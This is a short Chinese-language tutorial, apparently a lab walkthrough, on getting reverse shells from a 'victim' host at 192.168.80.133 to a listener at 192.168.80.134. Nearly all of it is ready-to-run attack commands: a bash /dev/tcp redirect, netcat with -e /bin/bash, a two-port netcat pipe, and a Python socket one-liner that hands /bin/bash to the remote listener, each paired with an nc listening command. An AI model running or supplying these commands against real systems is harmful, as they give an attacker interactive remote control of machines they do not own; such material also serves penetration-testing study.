0x01
受害机命令
bash -i >& /dev/tcp/x.x.x.x/1234 0>&1
本机命令
nc -lvvvp 1234
首先在受害机(192.168.80.133)中开一个终端,输入
bash -i >& /dev/tcp/192.168.80.134/1234 0>&1
然后再本机(192.168.80.134)中开个终端,界面如下
输入如下命令
nc -lvvvp 1234
可以看到终端的标签已经改变了,尝试输入命令可以发现已经得到了一个shell
0x02 netcat
如果目标主机有nc -e选项的话,也可以通过-e进行反弹shell
还是以刚才的环境来做实验
首先,在本机上输入
nc -lvvp 1234
进行监听
然后再受害机输入
nc -e /bin/bash 192.168.80.134 1234
发现在本机的终端已经可以执行shell了
但是万一没有-e选项呢,那么还可以用管道进行反弹shell
首先在本机开两个端口监听
nc -lvvvp 1234
nc -lvvvp 4321
然后受害机输入
nc 192.168.80.134 1234 | /bin/bash | nc 192.168.80.134 4321
得到shell
0x03 Python
python -c
'
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.80.134",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
'
首先在本机输入
nc -lvvvp 1234
在受害机输入
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.134",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
即可看到反弹了一个shell